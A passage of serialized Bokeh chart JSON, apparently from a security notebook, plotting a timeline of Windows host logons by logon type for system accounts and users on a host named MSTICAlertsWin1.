chart\",\"text_font_size\":\"10px\"},\"id\":\"3016\",\"type\":\"Title\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2991\",\"type\":\"PanTool\"},{\"attributes\":{},\"id\":\"3005\",\"type\":\"DataRange1d\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"2992\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"source\":{\"id\":\"2965\"}},\"id\":\"3095\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3022\",\"type\":\"Circle\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Timeline: Host Logons\"},\"id\":\"2969\",\"type\":\"Title\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#35B778\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3045\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"2990\",\"type\":\"SaveTool\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2961\"},\"glyph\":{\"id\":\"3020\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"3022\"},\"nonselection_glyph\":{\"id\":\"3021\"},\"view\":{\"id\":\"3024\"}},\"id\":\"3023\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_color\":{\"value\":\"#8DD644\"},\"hatch_color\":{\"value\":\"#8DD644\"},\"line_color\":{\"value\":\"#8DD644\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3050\",\"type\":\"Circle\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2987\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"overlay\":{\"id\":\"2992\"}},\"id\":\"2988\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"source\":{\"id\":\"2961\"}},\"id\":\"3024\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"3121\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"axis\":{\"id\":\"2983\"},\"coordinates\":null,\"dimension\":1,\"grid_line_color\":null,\"group\":null,\"ticker\":null},\"id\":\"2986\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"2984\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"3122\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"2977\",\"type\":\"LinearScale\"},{\"attributes\":{\"fill_color\":{\"value\":\"#443982\"},\"hatch_color\":{\"value\":\"#443982\"},\"line_color\":{\"value\":\"#443982\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3026\",\"type\":\"Circle\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"coordinates\":null,\"formatter\":{\"id\":\"3060\"},\"group\":null,\"major_label_policy\":{\"id\":\"3112\"},\"ticker\":{\"id\":\"2980\"}},\"id\":\"2979\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"end\":5.166666666666667,\"start\":-0.16666666666666666},\"id\":\"2973\",\"type\":\"Range1d\"},{\"attributes\":{\"fill_color\":{\"value\":\"#35B778\"},\"hatch_color\":{\"value\":\"#35B778\"},\"line_color\":{\"value\":\"#35B778\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3044\",\"type\":\"Circle\"},{\"attributes\":{\"axis\":{\"id\":\"2979\"},\"coordinates\":null,\"group\":null,\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"2982\",\"type\":\"Grid\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"3109\"},\"group\":null,\"major_label_policy\":{\"id\":\"3110\"},\"ticker\":{\"id\":\"2984\"},\"visible\":false},\"id\":\"2983\",\"type\":\"LinearAxis\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2963\"},\"glyph\":{\"id\":\"3032\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"3034\"},\"nonselection_glyph\":{\"id\":\"3033\"},\"view\":{\"id\":\"3036\"}},\"id\":\"3035\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"end\":1550308886703.55,\"start\":1549638181113.45},\"id\":\"3003\",\"type\":\"Range1d\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2964\"},\"glyph\":{\"id\":\"3038\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"3040\"},\"nonselection_glyph\":{\"id\":\"3039\"},\"view\":{\"id\":\"3042\"}},\"id\":\"3041\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_color\":{\"value\":\"#30678D\"},\"hatch_color\":{\"value\":\"#30678D\"},\"line_color\":{\"value\":\"#30678D\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3032\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"3123\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"3007\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"3009\",\"type\":\"LinearScale\"},{\"attributes\":{\"data\":{\"Account\":[\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\"],\"LogonType\":[0,0],\"TimeGenerated\":{\"__ndarray__\":\"AODBEwCOdkIAIJ7Go452Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[2]},\"index\":[12,70],\"y_index\":[0,0]},\"selected\":{\"id\":\"3116\"},\"selection_policy\":{\"id\":\"3115\"}},\"id\":\"2961\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"3124\",\"type\":\"Selection\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Range Selector\"},\"id\":\"3001\",\"type\":\"Title\"},{\"attributes\":{\"fill_color\":{\"value\":\"#440154\"},\"hatch_color\":{\"value\":\"#440154\"},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3020\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#208F8C\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#208F8C\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#208F8C\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3039\",\"type\":\"Circle\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"3145\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#30678D\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3033\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#443982\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#443982\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#443982\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3027\",\"type\":\"Circle\"},{\"attributes\":{\"active_multi\":{\"id\":\"3055\"},\"tools\":[{\"id\":\"3055\"}]},\"id\":\"3015\",\"type\":\"Toolbar\"},{\"attributes\":{\"tools\":[{\"id\":\"2967\"},{\"id\":\"2987\"},{\"id\":\"2988\"},{\"id\":\"2989\"},{\"id\":\"2990\"},{\"id\":\"2991\"}]},\"id\":\"2993\",\"type\":\"Toolbar\"},{\"attributes\":{\"fill_color\":{\"value\":\"#208F8C\"},\"hatch_color\":{\"value\":\"#208F8C\"},\"line_color\":{\"value\":\"#208F8C\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3038\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"3109\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2962\"},\"glyph\":{\"id\":\"3026\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"3028\"},\"nonselection_glyph\":{\"id\":\"3027\"},\"view\":{\"id\":\"3030\"}},\"id\":\"3029\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"3017\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"click_policy\":\"hide\",\"coordinates\":null,\"group\":null,\"items\":[{\"id\":\"3103\"},{\"id\":\"3096\"},{\"id\":\"3089\"},{\"id\":\"3082\"},{\"id\":\"3075\"},{\"id\":\"3068\"}],\"label_text_font_size\":\"8pt\",\"location\":\"center\"},\"id\":\"3104\",\"type\":\"Legend\"},{\"attributes\":{\"axis\":{\"id\":\"3011\"},\"coordinates\":null,\"group\":null,\"ticker\":null},\"id\":\"3014\",\"type\":\"Grid\"},{\"attributes\":{\"data\":{\"Account\":[\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\"],\"LogonType\":[10,10],\"TimeGenerated\":{\"__ndarray__\":\"APCf2DWOdkIAENDO9I52Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[2]},\"index\":[141,150],\"y_index\":[5,5]},\"selected\":{\"id\":\"3126\"},\"selection_policy\":{\"id\":\"3125\"}},\"id\":\"2966\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"3110\",\"type\":\"AllLabels\"},{\"attributes\":{\"source\":{\"id\":\"2964\"}},\"id\":\"3042\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3063\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#208F8C\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#208F8C\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#208F8C\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3040\",\"type\":\"Circle\"},{\"attributes\":{\"data\":{\"Account\":[\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\ian\",\"MSTICAlertsWin1\\\\ian\",\"MSTICAlertsWin1\\\\ian\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\ian\",\"MSTICAlertsWin1\\\\ian\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\"],\"LogonType\":[3,3,3,3,3,3,3,3,3,3,3,3,3],\"TimeGenerated\":{\"__ndarray__\":\"AMAN7f+NdkIA0LPt/412QgBgjvn/jXZCAKC7+v+NdkIAoNO6RY52QgAwCr9FjnZCAOAaokWOdkIAwG/XNY52QgAQ79c1jnZCACBlx/SOdkIAgPDH9I52QgDgds30jnZCAPA6zvSOdkI=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[13]},\"index\":[1,2,3,4,102,103,104,137,138,153,154,155,156],\"y_index\":[2,2,2,2,2,2,2,2,2,2,2,2,2]},\"selected\":{\"id\":\"3120\"},\"selection_policy\":{\"id\":\"3119\"}},\"id\":\"2963\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"3125\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"data\":{\"Account\":[\"Window Manager\\\\DWM-1\",\"Window Manager\\\\DWM-1\",\"Window Manager\\\\DWM-1\",\"Window Manager\\\\DWM-1\",\"Window Manager\\\\DWM-2\",\"Window Manager\\\\DWM-2\",\"MSTICAlertsWin1\\\\ian\",\"MSTICAlertsWin1\\\\ian\",\"Window Manager\\\\DWM-2\",\"Window Manager\\\\DWM-2\",\"Window Manager\\\\DWM-2\",\"Window Manager\\\\DWM-2\"],\"LogonType\":[2,2,2,2,2,2,2,2,2,2,2,2],\"TimeGenerated\":{\"__ndarray__\":\"ADDoEwCOdkIAMOgTAI52QgBQt8ajjnZCAFC3xqOOdkIAgKPcPI52QgCAo9w8jnZCAGCjbDaOdkIAYKNsNo52QgAATdg1jnZCAABN2DWOdkIA8KTO9I52QgDwpM70jnZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[12]},\"index\":[15,16,73,74,99,100,131,132,139,140,157,158],\"y_index\":[1,1,1,1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"3118\"},\"selection_policy\":{\"id\":\"3117\"}},\"id\":\"2962\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#8DD644\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#8DD644\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#8DD644\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3051\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"3112\",\"type\":\"AllLabels\"},{\"attributes\":{\"source\":{\"id\":\"2965\"}},\"id\":\"3048\",\"type\":\"CDSView\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2965\"},\"glyph\":{\"id\":\"3044\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"3046\"},\"nonselection_glyph\":{\"id\":\"3045\"},\"view\":{\"id\":\"3048\"}},\"id\":\"3047\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@TimeGenerated\":\"datetime\"},\"tooltips\":[[\"Account\",\"@Account\"],[\"TimeGenerated\",\"@TimeGenerated{%F %T.%3N}\"],[\"LogonType\",\"@LogonType\"]]},\"id\":\"2967\",\"type\":\"HoverTool\"},{\"attributes\":{},\"id\":\"3126\",\"type\":\"Selection\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#35B778\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3046\",\"type\":\"Circle\"},{\"attributes\":{\"below\":[{\"id\":\"3011\"},{\"id\":\"3016\"}],\"center\":[{\"id\":\"3014\"}],\"height\":120,\"renderers\":[{\"id\":\"3023\"},{\"id\":\"3029\"},{\"id\":\"3035\"},{\"id\":\"3041\"},{\"id\":\"3047\"},{\"id\":\"3053\"}],\"title\":{\"id\":\"3001\"},\"toolbar\":{\"id\":\"3015\"},\"toolbar_location\":null,\"width\":900,\"x_range\":{\"id\":\"3003\"},\"x_scale\":{\"id\":\"3007\"},\"y_range\":{\"id\":\"3005\"},\"y_scale\":{\"id\":\"3009\"}},\"id\":\"3000\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"3060\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"source\":{\"id\":\"2966\"}},\"id\":\"3054\",\"type\":\"CDSView\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2966\"},\"glyph\":{\"id\":\"3050\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"3052\"},\"nonselection_glyph\":{\"id\":\"3051\"},\"view\":{\"id\":\"3054\"}},\"id\":\"3053\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#8DD644\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#8DD644\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#8DD644\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3052\",\"type\":\"Circle\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"3141\"},{\"id\":\"3142\"},{\"id\":\"3143\"},{\"id\":\"3144\"},{\"id\":\"3145\"},{\"id\":\"3146\"},{\"id\":\"3147\"},{\"id\":\"3148\"},{\"id\":\"3149\"},{\"id\":\"3150\"},{\"id\":\"3151\"},{\"id\":\"3152\"}]},\"id\":\"3012\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"3017\"},\"group\":null,\"major_label_policy\":{\"id\":\"3114\"},\"ticker\":{\"id\":\"3012\"}},\"id\":\"3011\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"coordinates\":null,\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"group\":null,\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5,\"syncable\":false},\"id\":\"3056\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"3152\",\"type\":\"YearsTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"3151\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"label\":{\"value\":\"2\"},\"renderers\":[{\"id\":\"3073\"}]},\"id\":\"3075\",\"type\":\"LegendItem\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"3150\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#30678D\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3079\",\"type\":\"Scatter\"},{\"attributes\":{\"label\":{\"value\":\"3\"},\"renderers\":[{\"id\":\"3080\"}]},\"id\":\"3082\",\"type\":\"LegendItem\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#208F8C\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#208F8C\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#208F8C\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3085\",\"type\":\"Scatter\"},{\"attributes\":{\"label\":{\"value\":\"10\"},\"renderers\":[{\"id\":\"3101\"}]},\"id\":\"3103\",\"type\":\"LegendItem\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2962\"},\"glyph\":{\"id\":\"3070\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"3072\"},\"nonselection_glyph\":{\"id\":\"3071\"},\"view\":{\"id\":\"3074\"}},\"id\":\"3073\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"source\":{\"id\":\"2962\"}},\"id\":\"3074\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#443982\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#443982\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#443982\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3071\",\"type\":\"Scatter\"},{\"attributes\":{\"source\":{\"id\":\"2963\"}},\"id\":\"3081\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3064\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#208F8C\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#208F8C\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#208F8C\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3084\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#8DD644\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#8DD644\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#8DD644\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3098\",\"type\":\"Scatter\"},{\"attributes\":{\"source\":{\"id\":\"2966\"}},\"id\":\"3102\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"3114\",\"type\":\"AllLabels\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"3128\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"3129\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"data\":{\"Account\":[\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\ian\"],\"LogonType\":[4,4,4,4,4,4,4,4,4],\"TimeGenerated\":{\"__ndarray__\":\"AGAJ7euNdkIAUGMU3I12QgBQ4DDGjXZCAFAs67+NdkIAQFlbSY12QgAw+JC9jnZCALA0MY6OdkIA8DLWkY52QgDgLxQ3jnZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[9]},\"index\":[31,34,35,36,50,53,63,90,124],\"y_index\":[3,3,3,3,3,3,3,3,3]},\"selected\":{\"id\":\"3122\"},\"selection_policy\":{\"id\":\"3121\"}},\"id\":\"2964\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"3131\",\"type\":\"DaysTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"3130\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2963\"},\"glyph\":{\"id\":\"3077\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"3079\"},\"nonselection_glyph\":{\"id\":\"3078\"},\"view\":{\"id\":\"3081\"}},\"id\":\"3080\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"3135\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#8DD644\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#8DD644\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#8DD644\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3100\",\"type\":\"Scatter\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"3136\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"3132\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"3134\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"3138\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"source\":{\"id\":\"2961\"}},\"id\":\"3067\",\"type\":\"CDSView\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"3133\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"3139\",\"type\":\"YearsTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2966\"},\"glyph\":{\"id\":\"3098\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"3100\"},\"nonselection_glyph\":{\"id\":\"3099\"},\"view\":{\"id\":\"3102\"}},\"id\":\"3101\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"3115\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"3137\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"3116\",\"type\":\"Selection\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#443982\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#443982\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#443982\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3070\",\"type\":\"Scatter\"},{\"attributes\":{\"label\":{\"value\":\"0\"},\"renderers\":[{\"id\":\"3066\"}]},\"id\":\"3068\",\"type\":\"LegendItem\"},{\"attributes\":{\"data\":{\"Account\":[\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\IUSR\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\NETWORK SERVICE\",\"NT AUTHORITY\\\\LOCAL SERVICE\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT 